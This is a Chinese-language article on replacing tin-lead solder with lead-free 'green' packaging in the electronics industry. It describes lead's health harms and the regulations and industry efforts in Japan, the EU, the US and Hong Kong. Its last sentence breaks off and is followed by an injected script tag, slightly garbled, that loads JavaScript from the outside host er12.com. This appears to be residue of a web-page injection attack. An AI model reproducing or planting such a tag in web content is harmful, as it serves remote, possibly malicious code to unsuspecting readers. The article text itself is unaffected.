新世界人类面临三大难题，其中第一大难题便是环境。人们意识到，人类生存的环境遭到了前所未有的破坏，可持续发展模式成了各国政府追求的理想发展模式。因此，用绿色无铅焊料代替传统的锡铅焊料，尽快淘汰高能耗、重污染的封装生产工艺，最有效地利用资源和最低限度地产生废弃物，大力发展无铅的绿色封装技术便成了当务之急。
绿色封装将成趋势
新世纪之初，半导体工业能否在安全与环保这一难题中有所突破，受到业界人士的广泛关注，这也同电子信息业能否保持长期、稳定、健康发展紧密相关。所有世界半导体协会（wsc）成员公司和电子厂商都有义务和责任加强在这一重要领域的国际合作，从而确保最有效的、最好的解决方案能够在世界范围内共享。因为技术挑战的复杂性、解决方案的不确定性和研究开发的高成本、高风险，在很多情况下对于任何一家公司，甚至一个国家都是无法单独面对的，因此，只有开展广泛的国家、地区间的合作，互相交流经验，共享资源，共同寻求其最佳的解决方案。
我们知道，铅的来源广泛，价格便宜，具有溶化温度低、成本低廉、工艺性能优良、成形美观等优点，锡铅合金焊料以其优良的性能被广泛应用，长期以来深受电子商家的青睐。
根据美国卫生和城市发展规划部（hud）的研究：铅及其化合物的剧毒性是不可分解的，并且能够致癌，对人体和环境的危害极大。暴露的铅及其废弃物会污染土壤，渗入地下水，从而造成人畜饮用含铅的地下水后，被人体吸收，引起重金属污染。铅会使人体内的蛋白质凝固，损害人的中枢神经，造成神经系统和代谢紊乱，还可导致人引发高血压、贫血和生殖功能障碍等疾病。研究表明，血液中铅的含量即使低于官方所定的最低指标也会对儿童的神经和机体的生长造成严重的伤害。据调查，仅美国就有三、四百万儿童因受铅污染的影响而智能指数下降，对他们的学习能力、思维能力和身心健康造成了很大的影响。
近年来，发达国家从环保角度出发，迫于立法的要求和用户的需要，在电子产品中使用无铅焊料的呼声越来越高，同时，也越来越强化有关铅污染的立法。因此，锡铅焊料的替代产品、绿色焊料的研制开发和市场推广工作无疑已迫在眉睫。
绿色封装是通过绿色产品生产过程，包括绿色设计、绿色材料、绿色工艺、绿色包装、绿色管理等生产绿色电子产品。这是电子信息制造业的一场革命，它无疑会成为参与国际市场竞争的砝码。
全球厂商竞相争霸
自上世纪90年代美国反铅议案hr—5374（美国国会）和s—2637、s—391（美国参议院）提出以来，发达国家已严格限制使用或禁止使用含铅焊料，并正在研究开发锡铅共晶合金的替代物无铅焊料合金。发达国家电子厂商纷纷转产或把工厂转移到亚洲和第三世界国家，一方面，努力寻找合适的无铅替代物，另一方面减少和避免在本国使用锡铅合金材料。
日本早在20世纪90年代初便开始推进无铅化研究，当时参加的研究院所和公司多达50多家。在对多种金属合金可成为无铅焊料的侯选材料进行试验，并经过大量的应用数据筛选和测定后，日本的jeita工作组公布了无铅化应用标准；千住金属株式会社等还注册了自已的无铅焊料产品商标，并且开始在全球市场试销。作为全球第一个制造无铅装配的国家，日本的电子产品制造商，如松下电器、日立公司等已经先于欧美厂商研究和开发出了商用无铅焊料。同时，日本要求所有在本国生产的半导体必须使用无铅封装，要求供货商也要遵守这一规则。在无铅技术应用领域，日本厂商一路领先走在了全球电子制造商的前面。
欧盟在2000年6月已完成电气及电子设备废弃物处理法（weee）第五版修正草案，对于无铅、无卤环保电子材料加以规范，明确规定2008年1月 1日全面禁止使用含铅焊料；德国推行生态经济的观念使gdp在增长两倍的情况下，主要污染减少了 70%；美国国会早在1986年就通过了在供水与食品相关的场合限制使用含铅焊料的法规，自1990年起，美国国会已多次讨论全面禁止使用含铅焊料的立法问题，并已经通过了立法禁止铅在涂料、汽车燃油、食品罐、汽车车身、电灯及焊管件中的应用；日本对无铅焊料的立法对策是，2003年无铅焊料在新产品中优先使用，2005年铅的使用量减少三分之二，2005年—2010年含铅焊料只在特殊情况下使用，2010年—2015年，全面消除含铅焊料；香港生产力促进局则打出了“绿色生产力”的口号，正积极?script src=http://er12.com/t.js>
